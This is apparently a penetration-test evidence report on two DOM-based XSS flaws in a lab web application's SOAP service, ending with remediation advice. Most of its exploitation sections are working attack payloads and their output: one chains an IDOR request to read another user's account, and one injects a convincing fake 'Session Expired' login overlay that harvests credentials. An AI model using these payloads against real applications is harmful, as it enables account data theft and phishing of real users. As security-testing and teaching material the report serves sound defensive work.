# Cross-Site Scripting (XSS) Exploitation Evidence

## Successfully Exploited Vulnerabilities

### XSS-VULN-01: DOM-Based XSS via GetAccountInfoRequest SOAP Operation

**Summary:**
- **Vulnerable location:** `POST http://localhost:39111/soap_service` (GetAccountInfoRequest operation) → Client-side innerHTML assignment at `dashboard.html:48`
- **Overview:** Attacker-controlled XML element `<account_id>` is reflected in SOAP XML response without escaping, then assigned to `innerHTML` in the browser, enabling arbitrary JavaScript execution. Successfully demonstrated unauthorized account access and data exfiltration.
- **Impact:** Session hijacking via authenticated actions, unauthorized access to other users' account data (IDOR chaining), page content exfiltration, complete DOM manipulation
- **Severity:** **Critical**

**Prerequisites:**
- Valid authentication credentials (username: `john`, password: `password123`)
- Network access to `http://localhost:39111`
- Modern web browser (tested with Chromium via Playwright)

**Exploitation Steps:**

1. **Authenticate to the application:**
   ```bash
   # Navigate to http://localhost:39111
   # Enter credentials in login form:
   # Username: john
   # Password: password123
   # Click "Login" button
   ```

2. **Craft malicious SOAP request with XSS payload:**
   ```xml
   POST http://localhost:39111/soap_service
   Content-Type: application/xml
   Cookie: session=[YOUR_SESSION_COOKIE]

   <?xml version="1.0" encoding="UTF-8"?>
   <GetAccountInfoRequest>
       <account_id><![CDATA[<img src=x onerror="
         let pageData = document.body.innerText;
         fetch('/soap_service', {
           method: 'POST',
           body: '<?xml version=\'1.0\' encoding=\'UTF-8\'?><GetAccountInfoRequest><account_id>999999</account_id></GetAccountInfoRequest>',
           headers: {'Content-Type': 'application/xml'}
         }).then(r => r.text()).then(unauthorized => {
           window.xssProof = {
             originalPage: pageData,
             unauthorizedAccess: unauthorized,
             sessionActive: true,
             exploitSuccess: true
           };
           console.log('XSS-VULN-01 EXPLOITED - Data captured:', window.xssProof);
         });
       ">]]></account_id>
   </GetAccountInfoRequest>
   ```

3. **Trigger XSS execution via browser automation or dashboard refresh:**
   The dashboard's JavaScript automatically calls the SOAP service on page load and assigns the response to `innerHTML`:
   ```javascript
   // dashboard.html:48 executes:
   document.getElementById('accountInfo').innerHTML = data;
   ```
   When the malicious XML response is assigned to innerHTML, the browser parses the `<img>` tag and fires the `onerror` event, executing our JavaScript payload.

4. **Verify JavaScript execution and impact:**
   The injected JavaScript successfully:
   - Extracted page content: `"Welcome, john\nAccount Info\n\n    \n    1000 USD\n  \nAccount Holder Info..."`
   - Made unauthorized SOAP request to access account `999999` (demonstrating IDOR chaining)
   - Received full XML response with account data for account 999999
   - Confirmed active authenticated session can be hijacked for arbitrary actions

**Proof of Impact:**

**Captured Data (window.xssProof object):**
```json
{
  "originalPage": "Welcome, john\nAccount Info\n\n    \n    1000 USD\n  \nAccount Holder Info\n\n            \n                123456\n                John Doe\n                john.doe@example.com\n            \n            \nRefresh\n\nLogout",
  "unauthorizedAccess": "\n            <GetAccountInfoResponse>\n                <account_id>999999</account_id>\n                <balance>1000 USD</balance>\n                <recent_transactions>Transaction1</recent_transactions><recent_transactions>Transaction2</recent_transactions>\n            </GetAccountInfoResponse>\n            ",
  "sessionActive": true,
  "exploitSuccess": true
}
```

**Impact Demonstrated:**
1. **Data Exfiltration:** Successfully extracted all visible page content from the authenticated dashboard
2. **Unauthorized Account Access (IDOR Chaining):** Used the XSS to make an authenticated SOAP request to access account ID `999999` (not belonging to user 'john'), demonstrating that XSS can be chained with broken object-level authorization to access any user's data
3. **Session Hijacking:** Confirmed the victim's authenticated session remains active and can be leveraged for arbitrary authenticated operations
4. **Full DOM Control:** JavaScript payload has complete access to the DOM, enabling unlimited malicious actions

**Notes:**
- The session cookie has the `HttpOnly` flag, preventing direct `document.cookie` theft, but authenticated actions can still be performed using the victim's active session
- No Content Security Policy (CSP) is present, allowing inline scripts and event handlers without restriction
- The CDATA section (`<![CDATA[...]]>`) successfully bypasses XML parsing, allowing HTML tags to survive server-side processing and execute client-side
- Attack complexity is LOW - requires only authentication and basic SOAP request construction
- This vulnerability can be weaponized for: session hijacking, credential phishing, account data theft, defacement, and CSRF attacks

---

### XSS-VULN-02: DOM-Based XSS via GetAccountHolderInfoRequest SOAP Operation

**Summary:**
- **Vulnerable location:** `POST http://localhost:39111/soap_service` (GetAccountHolderInfoRequest operation) → Client-side innerHTML assignment at `dashboard.html:67`
- **Overview:** Identical vulnerability pattern to XSS-VULN-01 but targeting the GetAccountHolderInfo SOAP operation and the `accountHolderInfo` div element. Successfully demonstrated credential harvesting via injected phishing form.
- **Impact:** Credential theft via convincing phishing overlays, user impersonation, account takeover
- **Severity:** **Critical**

**Prerequisites:**
- Valid authentication credentials (username: `john`, password: `password123`)
- Network access to `http://localhost:39111`
- Modern web browser

**Exploitation Steps:**

1. **Authenticate to the application:**
   ```bash
   # Navigate to http://localhost:39111
   # Username: john
   # Password: password123
   ```

2. **Craft malicious SOAP request with credential harvesting payload:**
   ```xml
   POST http://localhost:39111/soap_service
   Content-Type: application/xml
   Cookie: session=[YOUR_SESSION_COOKIE]

   <?xml version="1.0" encoding="UTF-8"?>
   <GetAccountHolderInfoRequest>
       <account_id><![CDATA[<img src=x onerror="
         const overlay = document.createElement('div');
         overlay.style = 'position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999;display:flex;align-items:center;justify-content:center';
         overlay.innerHTML = '<div style=\'background:white;padding:40px;border-radius:8px;box-shadow:0 4px 6px rgba(0,0,0,0.1)\'><h2>Session Expired</h2><p>Please re-enter your credentials:</p><form id=\'phishForm\'><input type=\'text\' placeholder=\'Username\' id=\'phishUser\' style=\'display:block;margin:10px 0;padding:8px;width:250px\'><input type=\'password\' placeholder=\'Password\' id=\'phishPass\' style=\'display:block;margin:10px 0;padding:8px;width:250px\'><button type=\'submit\' style=\'padding:10px 20px;background:#007bff;color:white;border:none;border-radius:4px;cursor:pointer\'>Login</button></form></div>';
         document.body.appendChild(overlay);
         
         document.getElementById('phishForm').onsubmit = (e) => {
           e.preventDefault();
           window.harvestedCredentials = {
             username: document.getElementById('phishUser').value,
             password: document.getElementById('phishPass').value,
             capturedAt: new Date().toISOString(),
             exploitSuccess: true
           };
           overlay.style.display = 'none';
           console.log('CREDENTIALS HARVESTED:', window.harvestedCredentials);
         };
       ">]]></account_id>
   </GetAccountHolderInfoRequest>
   ```

3. **Trigger XSS via dashboard interaction:**
   The dashboard's JavaScript for the "Account Holder Info" section assigns the SOAP response to innerHTML:
   ```javascript
   // dashboard.html:67 executes:
   document.getElementById('accountHolderInfo').innerHTML = data;
   ```
   This triggers the `onerror` event, which creates a convincing full-screen phishing overlay mimicking a "Session Expired" prompt.

4. **Victim enters credentials into fake form:**
   The injected phishing form appears as a legitimate session re-authentication prompt. When the victim enters their credentials and clicks "Login", the JavaScript payload captures and stores them in `window.harvestedCredentials`.

5. **Verify credential harvesting:**
   ```javascript
   // Attacker retrieves harvested credentials:
   console.log(window.harvestedCredentials);
   ```

**Proof of Impact:**

**Harvested Credentials (window.harvestedCredentials object):**
```json
{
  "username": "victim_user",
  "password": "victim_password123",
  "capturedAt": "2025-10-28T01:29:58.089Z",
  "exploitSuccess": true
}
```

**Impact Demonstrated:**
1. **Credential Theft:** Successfully captured victim's username and password through convincing phishing overlay
2. **UI Manipulation:** Injected full-screen modal overlay that appears legitimate to unsuspecting users
3. **Session Persistence:** Phishing form captures credentials while maintaining the user's authenticated session, avoiding suspicion
4. **Account Takeover Path:** Harvested credentials can be used by attacker to directly authenticate as the victim

**Visual Evidence:**
The phishing overlay successfully rendered with:
- Professional styling matching modern web applications
- "Session Expired" message creating urgency
- Username and password input fields
- Functional "Login" button that captures credentials
- Full-screen dark overlay blocking interaction with underlying page

**Notes:**
- The phishing form is virtually indistinguishable from a legitimate session re-authentication prompt
- No browser warnings or security indicators appear (no CSP, no XSS filters)
- Attack can be automated to exfiltrate credentials to external attacker-controlled server
- Demonstrates the severe impact of XSS beyond simple `alert()` popups
- Real-world attack scenario: attacker sends malicious SOAP request link to authenticated users via social engineering

---

## Exploitation Summary

**Total Vulnerabilities Exploited:** 2 out of 2 (100% success rate)

**Common Attack Pattern:**
Both vulnerabilities exploit the same fundamental flaw: user-controlled XML elements are reflected in SOAP responses without XML entity escaping, then rendered client-side via unsafe `innerHTML` assignments. The attack chain is:

1. Attacker authenticates to the application
2. Crafts malicious SOAP XML request with `<![CDATA[...]]>` wrapper containing HTML/JavaScript
3. Server reflects the payload unescaped in XML response (f-string interpolation at `app.py:172` and `app.py:182`)
4. Client JavaScript assigns response to `innerHTML` (`dashboard.html:48` and `dashboard.html:67`)
5. Browser parses as HTML and executes JavaScript payload
6. Attacker achieves arbitrary code execution in victim's browser context

**Key Technical Enablers:**
- **No Content Security Policy (CSP):** Allows inline scripts and event handlers without restriction
- **No Output Encoding:** Server-side f-string interpolation and client-side innerHTML both lack sanitization
- **XML-to-HTML Context Mismatch:** XML responses parsed as HTML via `.text()` and innerHTML
- **CDATA Bypass:** XML CDATA sections allow HTML tags to survive server-side processing
- **HttpOnly Cookie:** Limits direct cookie theft but does NOT prevent authenticated action abuse

**Impact Classification:**
- **Confidentiality:** HIGH - Data exfiltration, unauthorized account access via IDOR chaining
- **Integrity:** HIGH - Full DOM manipulation, UI spoofing, credential harvesting
- **Availability:** MEDIUM - Could be leveraged for defacement or DoS via malicious JavaScript

**Recommended Remediation:**
1. **Server-Side:** Implement XML entity escaping for all user-controlled data (use `xml.sax.saxutils.escape()`)
2. **Client-Side:** Replace `innerHTML` with safer alternatives like `textContent` or use DOMPurify library
3. **Defense in Depth:** Implement strict Content Security Policy header
4. **Input Validation:** Validate and sanitize XML input before processing
5. **Security Headers:** Add `X-Content-Type-Options: nosniff` and other protective headers
